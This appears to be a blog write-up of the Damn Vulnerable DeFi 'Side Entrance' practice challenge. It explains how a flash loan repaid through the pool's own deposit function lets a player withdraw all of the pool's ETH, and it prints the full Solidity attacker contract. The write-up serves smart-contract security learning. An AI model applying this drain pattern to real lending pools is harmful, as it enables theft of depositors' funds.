Challenge #4 - Side Entrance#
In order to systematically learn solidity and foundry, I have rewritten the solution to damnvulnerable-defi based on the foundry testing framework. Welcome to discuss and build together~🎉
Contracts#
- SideEntranceLenderPool: Provides deposit and withdraw methods, supports flash loans
Scripts#
- Deploy SideEntranceLenderPool contract
- Deposit ETH amount ETHER_IN_POOL into the pool
- Execute attack script
- Expect the balance in the pool to be 0 and the balance of the player to be greater than ETHER_IN_POOL
Solution#
The key to this challenge lies in the deposit+withdraw process. You can first obtain ETH through a flash loan, then call the deposit function to obtain a certificate, and finally extract the ETH by ending the flash loan. The overall process is shown in the following diagram:
- When calling the flashLoan function of the pool,
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
will be called. Therefore, the attack contract needs to implement theexecute
function, which performs the deposit to repay the flash loan and also records a deposit certificate. - The player then calls the withdraw function to extract the corresponding ETH from the pool and transfer it all to the player, completing the attack.
The contract code is as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}